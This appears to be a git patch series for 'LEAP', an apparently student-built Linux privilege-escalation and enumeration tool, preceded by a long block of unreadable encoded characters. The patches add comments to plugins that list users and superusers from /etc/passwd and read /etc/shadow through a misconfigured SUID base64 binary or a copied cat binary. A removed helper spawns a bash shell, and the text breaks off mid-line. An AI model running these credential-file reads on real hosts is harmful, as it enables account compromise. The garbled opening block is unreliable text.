zGG)D;bnKM3DStjjbMzCe6cH?eQ0XmD2(3p#_)Qoa#^Zh+k4*5OTHk!lYGEkWV6DxG zu)z?cHCL-O=jv*HZBuLhIa>3!Sk2EMyV~Yr)Pz5X+SJo4)cv1R)K>$JF8*9SXQB?1?#w=qa6Nz{|PP}OG zBJ)snT67r`(fubIY*rGp4%k(pyWT)S5k)X?>KI~A)sB(Kz=(Uj0}HvsURHdLM--c zJjy7AlKzE2-bwFp92MP*GCC?65;?%#yFkq+tF{$S86jx>XAicO;Dg zooPPm3i|rtMJVKQA=b51TcM;$0KI2Re#Nw-z?3cJZC-S)b$wdLsodqg{w=1JY2e^s zgx@X!$lJVdycD`Ivcn$9k>ugu6E2wa11suTm`ZFUIq3`J)p|RUHX}Vvl3(k6w@#;T zdzm&`4^3qw8-(;^9bbQG7}-l{pxF4>=de21{m9>!V&k(C8gK>2RG|ad^Ca>;4L^5e<(KeNM^Xm~;Da`jCkFzMvubM4NA_ zGHwS?SdW5-Y$yWGhT6tnL+L~t&~Guc!h1Ws+1ps1D?l}j?FTmg)+Jx%g=r%AAYVK0(Df_we?KdcXL z>G+Ef*z5b)6|79wOz$34&WRLv9X+Bq1`H7Dwj9wse5g(5J24o?Py@33eaWLmCJ=AVIA z&I4a(-UlFCD#2E*g*coA>qQ`DGAnK{L8#JyC=NjE@Dw<2Wv1H3pQgn+u!-7Z=KCVZ zv<^H_9rE1_{-ae`B16KaCPq$4s`7)P>zxY_)ifoxjWZOBXXoQozm+3s&a4^?7?) zDc`@J2eh(yoFHI8&QsR)BD%`Y0}egk>K*CN6@Az#9lnzl>$KW;156!|Zb{DnjQn{xHVPzS{qA5hn^u~mb~ zt*U&=FF!}%ETE?#(iao+H&y>z3UycmogjIcPJSi%v@!+#rdcq{6)M1XcnkJhlK<48 zW!Ffd)>AJICaO?=G8Celf};?#Hu|#c0AAl%0CT2KltSf+l033-5%C>)uL^DexK&+8 zT=G`n7pnNH7#>U5l}K#7iUguy22Huihn7Hj%5TH{*7rFQ)(rV;vKJ*SgF@~!|G|$t zPR;QZTi2JESh~!28`5T$p6Q$2(Vmd$b9J;Q=K5xKv?mF^f{vv^C0tW68i5sDL%>?N zg;~;kuE&m3MZWYX$LYSa(7hbrAn?ldj`p7(g6edhhU%&PtMlvsjTiU0o>6pwrj{_Rx>Z%(AHb-;R$!^vJtzA=H4{<2^+AWN#_m6r zV!eATSwraTwUEvs?{x*|p{<(4`*A*jgFV&Gh|s%?PdW!g!m2REj0!F|^kk(I+^JqN zHGwD+J7kh9l=LwzA{4K;;7HO?eKX3`>N5wb-iqpvY1LCuy)frc=lj;cXdEs{XseaP z$c3E~4>~bYMu81mU`P~Tup*H>x!6i1n|1_j0qBjbSml%eHqDgtexa;j9GrRY+pQ07 zclu99d}q_XA-!X2x26m7@%O9Qb zoWkspLcE3J6g>(38Jpe5kwNgL6J&maV);e5i6ZW0c$3P2De`o=euw+ra}{)*9>)f53`o zUEd@WbbOCPqA@TT4EnoR{tB$?-;ND9iyIv{kfQjpP<{h_%<0zrJ4uoubsqN)lRuZk z-Jd5}*Y6Dudx#wr_=Xe)UbO}`Lbs$VoF}k`ym_qCzb(NocSkGC1HvTvx0;Icj(HMitQMG26HK!Xk!geP9qo(8@oJS&@>e#xq`*ksEBisnMl)i z9{e4bbcah2HK4xa$LWCy=Sa}xfCI4KFaT_Q#1RG5x;-`&&fpxu`lrO{bz_7AvMZ?P zQp^>ctaNTj!N82_pbn^t>khjh3Nu^CK9J?s(D`~A1~BQDxol?GH)21>j9X+r6~NQxP|!-Y!b;8;jjo8ZX0AVmt$Zhs!un4RZ9+BfMfs;i0=EUx`kguS(>l`vk#l| zLOcg?IJr>namnvRyta0id>jX#k>}Y_(k}!$A|ww<9w*oC|Kxk6f=*oh+eC_}u*f`# zLL6}=sz+R%nRL8&*EX7WICR$?aiI@P)WBf0i&Tj6q;dn( zl2N8>t$`iztypBJX$sFUWSbB-3t=Y)G0Msd-{n~OG!rnVd(&7V$WRHGpCbQP6Tl*g zeKqE*2zR#_*1KsQ2shG~woa2iaD0z>fQF)8U<`&Wd=g)qszA#X&GhQa1YP)-RMdtd zWYp5AZwuH^7L{MbScdP$P;RONb?*zCnhCtRshYrla-Sm)Ax2C|aEf&9N`BEAuwo&J zx;pqq7x~6FW4_TvzLDqQ8&RHsy!Gyba8z)CiSU%9y==4_fA0>rYw6BkqR+g0D}iJ_R27G`AJq>T zXaPjichf=L+`+p^F5is%k>LwLMa^syQQx|{J3Jh0H(|O68%ed{iKOIc@3=r%muuLX zJPf5_x=p(Y)+KBt^@r(}9h(o!#8cBSemDL^R?J23)$NMC?)umxl< z<{=K$RW6;|kaOV%W;q5efu?S^HbCF8K-O{#?OYip$t7!S@T`XjY&Qdk^xz1=KoDE^ue#6IWP z$J^OW4pl%DBbnZ&KqebEz?36u^jrBAmo?5TlFFD~hW+$05RS$UFSU zO$B0K|0vE&Q}}qyQ+df#@%%thT!_#4vt^}Q8RYNIp0N_)pA%@*+p#c>&r+vd{@uN^|qSdhoT9W%PDGfx# zigm)iBhfk!F5VTYGO=L^>?O9L87AiO`ML_zgiA;_VSkYASF)!Lv99hzym5GXpm_-u+!uki1gF2)ZI&B5u!NbB8`XljM>8}VZwY>}jzVGm2DQ_~^` zxff`|y|HM=t~G3fE;Vd}SRP9~-zFto3*i%U_Cg+RoVHY1?sd{Wyg7uB%k_` zcQA@yocCedIlbw1u~f)8!H%alUnv7H48NylNw$Qr}*=(u7~ z2M)|bIDLk*gaa)hk7*0+^@=#s0l2_5?f@U0VcOsf6LIqUIk46hOJEqZV-&(|%tYRy zU2qz$2+7KRoY&DlD~+9Rkh^aU_uxd6)olF?m&2qe zT()mOaD{339)-#Xnt8a4BzD-kfSESN?Mfz{&#Dn~_*JmOV-D(6c?UCGx$j-VV7X*t zm($H`KfD}8xP$&X^b0$mr!W7Bsx|KQCZaEOUG};3pqW#C+g|3BkKy#}jZ&%RV{{}# zx$zxRQ~sSbwD2U_g7h%aS=d9Y%zQ5r$s2hK@XM?2!T?8>TLa`89U%{FA?aomIBSke zn?FlrcV5py5j`;RNg6Rqx}1t};8T;Ij+8?_nsa>IDQWZH5~Z5Gc!o#Xd@xb@3{5-a zDJKwyNuk1IY4fLvq+3VOm*_H`<_9%};2M^KlU%`HCP#ePcK@5Eh%cj1{tBn&C1{YI zl*(3iE0nll~fiqP)n8%?NT18LLC`Ok(#*?kgqvoikAT;K(oh2tDm*J96>h?Qy{{m<2d%(HQ z+LAPmdMPIj1pqheIYRgVe4erePgV2#VP))8Q|aCZ-knEY#(o={FA;MY-ME#yVRc~E zeyLoGDh_!xHKjjK#&IqPC#r-egM+u~ZqV`bX_OD;Ynmmh_E=syAtER~;(>Q-=+ z(=CO(cP9s@$tT}Za<=#n;C$8e*1?=p@_9dQ|5@rLY6puF>2sG!+7 znBry}8(9O}VG1|~w+3FKguEz2lIPM`CadSgBtM>)3?-GKHl2&UL)QEaS@U;uO6fG& ze>lCkvm0FZ)1hdxa_3t#LWePmM_o8Er-v!GV^M^0%}R`TvK_$$1W*xA1|EpRqf$x` z=j9H0DV>(*_8UWW{~2xnttz#BoXa}p?{V)EkNK2JIGx2*k~&|d_Laz9wx(eWUGi7h zBnNR|xO%fIR0<=3b*IisWUYUWiIz?eR6raEVxR4zxQ~u&CoA9KxSQD*jF@JTYNpAG zjm}cQMC}1;p#>LWI(erH>sq#bHam!Opi7f!`eZ22ff3xQIxQd&{9&>k)7+crQhN&y z`}=jc14F{@&q(r~oV{T)CcbK)!KCXe(D^dlRV+qgPAOuZWn=w{*%_LLqv*{C5}l#O z#0<7Ck%HGCFiTVR?Lj~CdVOCy5i4W#M?Qd>Qr^dSe(gmnl1E-hh@DA;0qC?EBm$DS zYv#35g!_O>^}%g;+Airee1nEPH>0;+RX*&hrc@HMEf6^p9s-wz#XUBDC?AgUa37)o zHXr04fHKFbzP)74sEkBC#gCw8)1IjkAG95qvVM%wSj!j8UxBmw`s`mp-&nfrF zlWmgx2^YsD??7~ez@G%f5u28Pvs5wZT0+zk8Crri?t+qs=E+v^K=7oq*jbA&2__tXRK*C*3sH{70@-y_LK8LF6! zEcQ47A5X|njd(}E{rU8NqWvkb zzWk1~a|bgvI+xXTfIZ)^5l844Y?Xk{lXV2te^wqIN(GD_^Lk)=+JNyj+7mr<%P!30 zm}Q~A$z)zX-KsvNcyvIk`u0r-)^Gms@#vYSj>mpL<7m(TP&r2BJpdX9HV8WtZRG0J zVPIoGPX7>$gE{^8k#Ned(ozh^{|UPh;*#IQ9Y|$*Tmj1=pk6-b&TcjqCHUs{#ZfRb zbqY^G5%W(}?v!`I#YM|5pn=fy!{i@x3;ad*ag87OgP}mF%$@|^K>y9nG~%lNkx|^A zAM-bRV+tS){65k9 zk#yH-{JGTS3y1qpp65%$-mY(X@2j!;SV^O&v0GJp`)Td9p^0dFV`A-5GZ$!${oN? zcHG!x_5s`AocAzkTB+4{q55zenMs!`Seok!&dO#t9`Lwna0ZTlX2G*exejg{p=!D- z=t-jmU33L+Pj&@IyRfd~5jo6FH9q+T34|fWArURzF#9iAi#gp01Sll2-{``^olz`* zWmjXAVp+Kn`+oae<$4GL*H4Rj|6m0z-&#PjX%9ghM&C(JO+Y3Ywn!OFJd%uw$YdiK zHSrL)zWSQFeS&0L?4^d^TcAT)6P072^N8{rkdr)GKW;^}`4AWV;m^2+ABN)j`7&1u zS0B`NIk+e{aUSR?Y7z&H+k73H60p(4kLrIkczkaIkD*Z>Ux5wr0IPx63;~6ypoqfby9oK$XgT zY5;>y)^KC*Z^^z?gNiBWH>@7FE6t>|;ZjD#BqXazhmbMxRQmx=vmXnyJ?vfvupiY{ zw02dSo@s15YReE_HRs>%qCugbFu+=FWRE5qZE+3b@{ikMxP^|CY9s z7MzDU{hLj*{8M)czHh=^2>h7;_aCk=mbZee-zrs})9sWG^r~^HUEbpFPA*O;O|#1h z&Y*dgoVbflASMt)r~lg&?-+Y9!GChX!nccqrOD3F^kgTthA~RtJIr4w7tsj_G+!RQ z6UL&m`mM?{JNfS^OYIv)xH&w>u@1l`t0&s7&?B~P%Hw!ZbjhpO?KGpzcmz@k1sEL# zk0R)4S;fN^0b2*pK=WIB$MX5*kbCU@Ey?%|mJ}4UPF)`Dl!()f2@7#>z2E8Inj9nX z;a4BTPf%vDXcG@>#QHM?clAi}Tem77BB;@gh`OGrk8{Gr@4tk3gq0wIcU^;=?$Iza z424-22p>=hD;VL~J?CqLq2ccgr5@6AdV8ThDVUj1N<2~LUq<8ZN)m~fLDl3h=EJ9l zzaxR7zXns~!6JHE8BNvk1Y8nssQAnfeYRQKZ%gt?=>$FGY3;)8mPmUFZFE6u?%iCX zTtQ?pj$}{0Pxa4(|JPW&h;_twF+KJ@NZ;7-TersOmEGIu?hV@CYl^ksC!Iiyx`VZU zT-W~NCCcxKELLBQSFoAvk%CvEJv4>nB%nm zu`gW8A|Bdfdofe{oF@)gySC8DBYyn>!S{OKDN(LPTYTJe_HO8aZZWe?^f~W3NoniD zSXn2VdN=FDQR7v#rV2Ao+E~hkk@DVIgstaMY0u}7VJ~%H;L6qp z{6vGFD4a(1^nQ*jneGZ=3Sb+l9&>!G_`sclGylo&7h*Jz_{NeCN{-Fh9P|fK2fqzZ z54EZLS1i~vl!8OdqGDo4a0EofCkxN2`3xMMo5de6;Gl} zwxK(zygS}={cZu#cxM-yg~5X3{H^|7k=}1&qpi)qxvo(D*E9Q{=iw>XIZ`O|5YVNr zao;nGxb`KeYV-FA-cdR4b3ejQ_2j?VBf~zXTYysDhrZ8g_;hDkI)_F5)wyHUe+7ph znMD&a{4#`xS%HSyV@3e!&s=9Ta7F`XG;l@(XEbm|17|dFMgwOwa7F|FH#I@rtpRoe0IgMsGuA4c;)K$9n3kCQh8}@ihsQ5`Er=#s+VL+rzR` zuH*%iay61EITHz&GR7meG~=~uZn56o*m|`%b&O|P3cUeMtZ8X;6C1o{qq#zu;PbRi z0P8mQ1ibu%Uh*=#p$6Gnu{cXC^+KAas%D|ArLFoGEp5$WQCn4WqYv+VsdhJeyuO9@ z!ZN(zq^h}=YT&IYc#nvXDU9)4jXoeP(yL9x2FSvSSQhVUX>M-uinT2wdnXFy6vuc3 zdcg`_ARM5d_X&(=S!l-~W z9x?jb22X2a)nd^mR(VAfi7j=ayQ-#Mq(-S?b4=D)Eu^@t)Lm{>OiZc*S)mNQX{a?l zzSh<@x5ooLwz@GYwc?MviO~ZGZ@;Eu8DrO&Hp`-2BLj;OYh5d|PZwz}Rn_3_G9IzY zBi`mDF?})8eyNOx10sq(UNuRz5!Jd`S`*M)5A!0MXY};e9acf3=W|5V^sMD|)1qI+l*0C^rq)Kc z=W28Sv!qVU6c>o%4Sep8^}zQuV_tYMPF}L`{&Srp7wG7+R7R>m;tag-$57}0JFn`! z-d4}m6DBNLv?yyqvoEWqZNUUjOPzNSdAq0^oFL40x8i+DB(WFn&C|$KDpvaz0MQ~& z)!66?@j9emxNE$Oqt{*4Gy%R<5N6`tNN{U4z9#fhWm4s3u9rDq0b^6O5bwdF7YvEa z+cqv17dBLpv#e_o$7V!j8V6ycZj$aFp4|WTW{}IVG!dRga?=-`tt7^mo z;D*m<-emWN&r-*+f!53>h71(2x^3y%%-Zv)p)NMUlh4#9~dmaU8Tdg2lP7N z6ZqVNJ24aSIfT#U$hYI%R{N~Q9pWO;4)mFfvLHT*xI-EMJQr{&;0^c;ME}p=j_-*? z2BUrYe8JOGaW{bSJ8&OYDCMU zCm9HmuG2A&vv5aepid3ThT!uVH2Xz?9+`k!1y7&_R*JV^cvKc{k^otkDz|F!d-Uu zBQHF3CM4oR4>8bPO+3XW(DT4U@Ie5SF$Q~;F`g7k6Udk`PMC|=QX*;-s}}=>Ww&3R z1%N+Bj|b`aSXl}Wv3N{HtA2`rOlCCVDc}K`fQIW^n%sy0Xs@MiTOk`=DXxYZY&+dz zQHg8eq${o#X*-Lws0F5zXzzsZ&D|D@+O)v0QLXElu%NXutKQqxI4vusjN)JXr}tfo zT4Z>&xVXiKV8pGW5dk8GZ(iVLy+L%2cSW`}RQs^EYw!{ayg!n7Tz`W&*FJl;{ra+- z5y-YsfQy)gqFu4o-PS}ZtR)pTRxQd(QRDJ{ic~cQt))TM%qq^ro?Orf5-lku@r1hS0SfJQ@j{Z0U{ zVx_H*8oCP~KM{#Mjh{jt#%KKgNMs2<`|vpnze5V(^YlCTi3ZA8gN85Km#`O+Lfzt+ zT5%?sQz_qQh%;MoUcz^2&gPmddPi#uP8{6r^;JHEv$aCW4W-UI9Kfnae1MI*go(5Qei97>vA11Q|n1~5o4EQ|Y zY`{Z+a{)8(WA$3VN5E&>A3+cP&m$&x5MRXQ<$$$-t$<}OL?Yi&9xx3~!wX2iBCxHG zM9Kgs1J(o90tNsN0qz5Q;!mgt7{F5mQz7R*#4vq;UihTdkoS4=hk*M4_W>RQQ~)RA z$FyL{Tl{IKVod7n zzmJDt2oLx);32?WfWtn(xC7b%`v7YJhv7Fls{u0rZ6BgPfC0dAz$XB`fQJCP0Ec~q z_zQ3{;66Yv;4#3&k0C#vRq+DW0&W8g045&58Va}?@B_d@fZqYuegggBhh_T!y?}=R zR{;*=^TKrJY{Ar?X1eIC!O2}%cnCiNALZ#tWCGDR2D9G?*pQq|`QJj1urtAuHq(-R zoi%k)a))s3g;!rb$#y9fQ++(oFPwZ7<4*{F5#EbWAK|G!zldfPKJ|Zqd>lu#Yw_6! zTo&P`Thi$7WoIBs&wd>SULhVcEomWhktKaqg54snNStBG@Fx{n*3tS&G91FEdu=2# zhyDfwXzw!@TGH=Lm~Ih6iPJ3^tCH-N>=lFTmR$ef>n$A#2~$lemX!&!EnNxqsR?%s zO0ndEz;4Mvh3S@b2r=D~ED2}7~uH*X%=y!o0=F2Yn#Se9A8*t+YGmChXzHY%haUuIU%J!pd8I>`e zKwPd9i0@BwShCI2Q!E*15iP47DN4P;fMFugIFEp?lb?-5ULbyjmNdWF>`SpE&rF?- zZ!YLm6gfb*7IYsH9lEi??4W+lw20<1wPSWma#8BSXj)2bWBmo1#yWud1K|SG?H(om!7B!>N(v?3n{Xe*V&h9=SMpdS0(Z!+dVJ@??mpNSi980Kt1?5^ z+@=c2rXb6TK@PI1B1@(D0ZaXSOKXv(y~xsGy2(=cOH2J+OY2Nay94>_EtS^~D1Bk7 zAhH&JBxj{wOtLqc6VG5yX);p&1IV}^F?AmC(Clpm*_%J{7n;GLi0UUNVm^VEUb#aT z;YI*=(tyhbE)jbi#*@=IfXfE%0;-6M=50A}v`4yz5RxUW4Ms|Mx(qr`V{HL{{E?Xa zCCEPl9=YJrPL+G+hL{fvW|Md^KH!+Xq}L zaO5xOBB%hj1i1SNAzAQO4%ImvXG}_n5Aj?8KaZ;HB0kv^1AtG6FvMrM%7^I52Tj${ z6RwhC1nj3MO&38gaM{4o>!0W%zAJ&73f!ZFAinp-_&$NMZj@=V5)b-Yd31KCx7XK! z+Yg+kbK-jdxP8Dqtnrm&e7^(k{@?WPAH^^Z?ETkh^!LQ*$78P7>F7xgis7CIy}o}G z|EvS7v&+khk4>7u$%0M}!vy8*ZlfYZi(GU#3hP64i& zDl-3%b&mUghq@+a!)Nw$|5PtA8TU~T@BJh7&VnwcqFy=b*)gZo`5E(pY+cp+z*cj_ z(q4vX12+uk-DPrG)|d({YXMsw11_TSRmS+ZTM zN70qJFtu96-_Rd_eQKShy$}N2Y-xv!7`V;CR4 zickSv2H(~?ke?pACT4Rqz7)4sB5oFm0WKPQieVdpyN?i(rPX|wYKJ1Sv_Ck2vbU&= zt;@xhZj*UqiX{yzsy&tJ?+48zh`|G#W`)_jh~fk)JBG3}#N8M3GQYW$F(+Bl5aUv; zK8DIFEzCF5FEO)$!&G9Ii0@qB#sfEvFieI@@R*e@uK-lv2`tQOfK_0 zOPb4)O!$?+e*k+ zwQD;I{tWdbs>gJMnU`FgS_;n84+qK*pxhHJ$2>(uljg7_UzcjeOjGTWiXHfPL7$C% zn%3|8%mc0Kk{UY|G!M9zlg+#YKIPz}txv?C>}DVECBRcSdFDE!fioI7qk%ITIHQ3x z8aShY|En74VL>kbkS2#y?-;lz)g0}LQ_l8ypec=0&SE%}SH&q`$oaR$DKF&ZOX8H5 z@$waM%I&=TzBuK}@Ow}qSskZ*DKF=2;sW0ywP-1aeh#}he3ZjyIDC%7hdBJtR<-`0 zd0uM>+hTTU5TU4gi7LR+J-ckRD%8%*x}H+=+L;0ELFl?r1;QF$PVqQhTKP9WL|Q1n zmY=0-u`unM=+gFVbT5c5ju!GcJ=OGA4yOx8 z59~UhLx~698otM(7HD#}bH><;vP)~9?MZ>r=uSt}{z0D%^#jkha()p(a4m=HIPB)Ihr}C(*;_+EL6X9K~ zLsk148f!BfYB|b2-HE667YK~JzRFWCWYsQi_AG8vp|?#f;SYZF%T%DO&D~f<6?m$( z(MwV^;2X)T1uZ<`an}f0UOc5CWYwV<)GfGEUnOL@>nrNos+!yt^|j!p@pPT>zDKT8nnf#vJ`joQ7ql}(br$X>uXSqQmP4K z{UV@`!zXL-6%w@OX!W&qMuV$3p(ejZr$LIpXbscy+B&AeN?zY6KSv8okszIF^|f_X zgYA4gwDyhtznj;e&KYX!v<9_xo$6C;Vyu5ZaHJEBzaSz*m&m>a<2q{`f6|Y>zR2rE zA(vm}rk>|fI*lV92GrLt7_Am)P^07I(Rvzwt)YGiudhMfwD{^(vj)z`*fXyud~jyD{7io93@n~>1gAO9=0 zM1wCy8LN0>`@0SGm4HeYg=eXG?OU@SE&nzW6uN1{ti`=uzfmcS^jcnnpMcD&tFOhy zYkp$=BdAOL*V?!331+>kI2R^;#8n^Q;C$Ey3XsR3=`U{N22M_ga Date: Fri, 11 Dec 2020 13:09:26 +0000 Subject: [PATCH 22/31] added docustrings and comments to plugins file, and adjusted windows enumeration to run on the same subprocess system as the others. --- src/jh_plugins.py | 53 ++++++++++++++++++++--------------------------- 1 file changed, 23 insertions(+), 30 deletions(-) diff --git a/src/jh_plugins.py b/src/jh_plugins.py index 7a08ed18..2b1c760f 100644 --- a/src/jh_plugins.py +++ b/src/jh_plugins.py @@ -1,4 +1,4 @@ -""" Plugins for LEAP designed by Josh Hallstrom """ +""" Plugins for LEAP designed by Josh Hallstrom""" from plugins import PrivEsc, Enumeration @@ -12,25 +12,13 @@ import base64 -# A very basic method, but useful -def shellRun(command): - """ Put given commands into a temporary file, spawn a shell and explain how to use the command """ - f = tempfile.NamedTemporaryFile(delete=False) - fname=f.name - f.write(command.encode()) - f.close() - os.system(f"chmod u+x {fname}") - print(f"Execute command with '{fname}'...\nCtrl-D to leave shell") - - pty.spawn("/bin/bash") - #os.system(fname) - os.unlink(fname) - def grabOutput(command): + """Runs a subprocess in order to get the results of a terminal command, runs automatically when called from one of the classes""" sp=subprocess.run(command, stdout=subprocess.PIPE) - return sp.stdout.decode() + return sp.stdout.decode() class lEnum_ConfidentialInfoandUsers(Enumeration): + """This runs automatically when called from the main file, needs no input""" def __init__(self): Enumeration.__init__(self) self.name="lEnum_ConfidentialInfoandUsers" @@ -39,10 +27,10 @@ def __init__(self): def execute(self): print("Executing...") print() - print(f"Current user: "+grabOutput(['whoami'])) + print(f"Current user: "+grabOutput(['whoami'])) #gets username of current user print(f"ID info:") - idData=grabOutput("id") - parts = idData.split() + idData=grabOutput("id") #grabs id information + parts = idData.split() #splits personal id and primary group id from secondary group ids for part in parts[:2]: print(f"\t{part}") print() @@ -53,7 +41,7 @@ def execute(self): print(f"\t{group}") print() print(f"Logged in users:") - userData=grabOutput(['who']) + userData=grabOutput(['who']) #gathers info on all logged in users parts=userData.split('\n') for user in parts: if user=="": @@ -64,13 +52,13 @@ def execute(self): print(f"\tuser login time: {userParts[3]}") print() print(f"List of all users:") - userData=grabOutput(["cat", "/etc/passwd"]) + userData=grabOutput(["cat", "/etc/passwd"]) #gathers all users from /etc/passwd parts=userData.split("\n") for part in parts: userParts=part.split(":") - print(f"\t{userParts[0]}") + print(f"\t{userParts[0]}") #prints only the username print(f"List of super users:") - superuserData=grabOutput(["awk", "-F:", '($3 == "0") {print}', "/etc/passwd"]) + superuserData=grabOutput(["awk", "-F:", '($3 == "0") {print}', "/etc/passwd"]) #gathers only superuser data from /etc/passwd parts=superuserData.split("\n") for part in parts: superuserParts=part.split(":") @@ -78,6 +66,7 @@ def execute(self): class lEnum_OperatingSystem(Enumeration): + """This runs automatically when called from the main file, needs no input""" def __init__(self): Enumeration.__init__(self) self.name="lEnum_OperatingSystem" @@ -86,20 +75,21 @@ def __init__(self): def execute(self): print("Executing...") print() - distData=grabOutput(['cat', '/etc/issue']) + distData=grabOutput(['cat', '/etc/issue']) #gathers info on the distribution parts=distData.split() print(f"Distribution Type: {parts[0]}") print(f"Distribution Version: {parts[1]}") - linuxData=grabOutput(['uname', '-mrs']) + linuxData=grabOutput(['uname', '-mrs']) #gathers data on linux version and architecture parts=linuxData.split() print(f"Linux Version: {parts[1]}") print(f"Architecture: {parts[2]}") languageData=grabOutput(['env']) - parts=languageData.split() + parts=languageData.split() #gets standard language of OS parts=parts[6].split("=") print(f"Language: {parts[1]}") class wEnum_WindowsServices(Enumeration): + """This runs automatically when called from the main file, needs no input""" def __init__(self): Enumeration.__init__(self) self.name="wEnum_WindowsServices" @@ -108,10 +98,12 @@ def __init__(self): def execute(self): print("Executing...") print() - os.system("net start") + systemInfo=grabOutput(['net','start']) #grabs all currently running windows services + print(systemInfo) class lPrivesc_Base64Escalator(PrivEsc): + """This runs automatically when called from the main file, needs no input""" def __init__(self): PrivEsc.__init__(self) self.name="Base64Escalator" @@ -122,13 +114,13 @@ def execute(self): print('Executing...') print() base64Path="/usr/bin/base64" - suid=checkBinary(base64Path) + suid=checkBinary(base64Path) #checks whether or not the SUID bit on base64 is set incorrectly if not suid: print(f"base64 does not have the SUID bit set") return - shadow=grabOutput(('base64', '/etc/shadow')) + shadow=grabOutput(('base64', '/etc/shadow')) #grabs the contents of shadow using base64 shadow=base64.b64decode(shadow) - shadow=shadow.decode('ascii') + shadow=shadow.decode('ascii')#these 2 lines decode the contents of shadow using the base64 python module parts=shadow.split('\n') for part in parts: userParts=part.split(":") @@ -145,6 +137,7 @@ def execute(self): def checkBinary(p): + """This function checks whether or not the SUID bit of a file is set incorrectly, allowing for a privesc to be executed.""" pl=pathlib.Path(p) suid=False suid=(pl.stat().st_mode & stat.S_ISUID)!=0 From d95ec5bb3e5dbb1d4055711e7c37377c72ab1785 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Fri, 11 Dec 2020 13:23:31 +0000 Subject: [PATCH 23/31] Update version 7 --- gather_info/file_system/var.txt | 29 ---------- src/js_plugins.py | 96 ++++++++++++++++----------------- src/leap.py | 4 +- src/tt.py | 18 ------- 4 files changed, 50 insertions(+), 97 deletions(-) delete mode 100644 gather_info/file_system/var.txt delete mode 100644 src/tt.py diff --git a/gather_info/file_system/var.txt b/gather_info/file_system/var.txt deleted file mode 100644 index 7aad3b31..00000000 --- a/gather_info/file_system/var.txt +++ /dev/null @@ -1,29 +0,0 @@ -total 504K -drwxrwxr-x 1 root syslog 4.0K Nov 29 13:39 . -drwxr-xr-x 1 root root 4.0K Aug 4 22:42 .. --rw-r--r-- 1 root root 17K Dec 10 17:31 alternatives.log -drwxr-xr-x 1 root root 4.0K Dec 10 17:31 apt --rw-rw---- 1 root utmp 768 Dec 10 17:16 btmp -drwxr-xr-x 1 root root 4.0K Jul 21 01:23 dist-upgrade --rw-r--r-- 1 root root 186K Dec 10 17:31 dpkg.log --rw-r--r-- 1 root root 629 Nov 29 13:39 fontconfig.log -drwxr-sr-x 1 root systemd-journal 4.0K Aug 4 22:39 journal -drwxr-xr-x 1 landscape landscape 4.0K Apr 27 2020 landscape --rw-rw-r-- 1 root utmp 286K Dec 10 10:58 lastlog -drwxr-x--- 1 root adm 4.0K Apr 13 2020 unattended-upgrades --rw-rw-r-- 1 root utmp 0 Aug 4 22:42 wtmp ------------------------------------------------------------- -total 0 -drwxrwsrwt 1 root mail 4.0K Dec 10 10:55 . -drwxr-xr-x 1 root root 4.0K Aug 4 22:42 .. --rw------- 1 root mail 0 Dec 10 10:55 root ------------------------------------------------------------- -total 0 -drwxr-xr-x 1 root root 4.0K Dec 10 11:03 . -drwxr-xr-x 1 root root 4.0K Aug 4 22:42 .. -drwxr-xr-x 1 root root 4.0K Aug 4 22:40 cron -lrwxrwxrwx 1 root root 7 Aug 4 22:39 mail -> ../mail -drwxrws--- 1 smmsp smmsp 4.0K Dec 10 11:02 mqueue-client -drwxr-xr-x 1 root root 4.0K Dec 10 10:58 postfix -drwx------ 1 syslog adm 4.0K Feb 11 2020 rsyslog ------------------------------------------------------------- diff --git a/src/js_plugins.py b/src/js_plugins.py index eea2aa63..26a7a438 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -4,20 +4,15 @@ from subprocess import Popen, PIPE -from colors import bcolors +from colors import bcolors #this library is to use colores import platform import os, subprocess, tempfile, pathlib, pty, stat -import calendar - -from datetime import datetime - import tempfile - # A very basic method, but useful def shellRun(command): """ Put given commands into a temporary file, spawn a shell and explain how to use the command """ @@ -48,10 +43,16 @@ def checkBinary(p): #function to create a file def file(choose, name, directory, text): + """ + choose: option if the user want or not paste information inside the file + name: name of the file what user choose + directory: where the file is stay + text: the content of enumeration gonn pass inside the file + """ if choose == "YES": #append and read a file [a+] - with open(f"../gather_info/{directory}/{name}.txt", "a+") as f: - f.write(text) + with open(f"../gather_info/{directory}/{name}.txt", "a+") as f: # a+ -> append + read in a file + f.write(text) # write content (text) inside the file os.system(f"cat ../gather_info/{directory}/{name}.txt") #show information inside the file elif choose == "NO": @@ -73,48 +74,47 @@ def execute(self): output = grabOutput(["/usr/bin/curl", "file:///etc/passwd"]) print(output) -class Python(PrivEsc): +class Cat(PrivEsc): def __init__(self): self.name="Python" self.author="Pedro Tinoco" - self.description="" + self.description="CAT Privilege" def execute(self): print('\033c') # clean console - os.system("sudo sh -c 'cp $(which python) .; chmod +s ./python*'") - curlPath="/usr/bin/python" - suid=checkBinary(curlPath) - if not suid: - print(f"{curlPath} does not exist SUID bit set" ) - return - output = grabOutput(["usr/bin/python", "sh", "-p"]) + output = grabOutput(["./cat /etc/shadow"]) print(output) - class FileSystem(Enumeration): def __init__(self): Enumeration.__init__(self) self.name="File Systems" self.author="Pedro Tinoco" self.description="What can be found in /var/" - self.version = "1.0" + self.version = "2.0" def execute(self): print('\033c') - var = [] + var = [] #empty list + + #append this enumeration to the list var.append(grabOutput(['ls', '-alh', '/var/log'])) var.append(grabOutput(['ls', '-alh', '/var/mail'])) var.append(grabOutput(['ls', '-alh', '/var/spool'])) + #option if the user want or not the enumeration information inside the file create_file = input("Do you want save this information in a file: YES or NO ") if create_file == "YES": - directory = "file_system" - name = input("Name of the file: ") print('\033c') - for i in var: - file(create_file, name, directory, i + "-"*60 + '\n' ) - else: + print("Directories: \n") + os.system("ls ../gather_info/") #show the directories inside the /gather_info/ + directory = input("Name of the directory: ") #choose the directory name + name = input("Name of the file: ") #choose the file name + print('\033c') + for i in var: + file(create_file, name, directory, i + "-"*60 + '\n' ) #call the function and pass information into a file + else: #if the user dont want a file print('\033c') - for i in var: + for i in var: #just print the enumeration print(i) @@ -130,45 +130,48 @@ def execute(self): enum = "YES" - while enum == "YES": + while enum == "YES": #while user want run the servie applications enumeration the (enum) = TRUE - var = [] - + var = [] # empty list + + #dictionary with service application enumerations dictionary = {"s1":"ps aux", "s2":"ps aux | grep root", "s3":"ls -alh /sbin/"} - + #this going to print the key (s1/s2/s3) and the corresponding value for key, value in dictionary.items(): print(f'{key}={value}\n') + #choose what enumeration the user want run choose = input("Select Service Application Enumeration: ") for key, value in 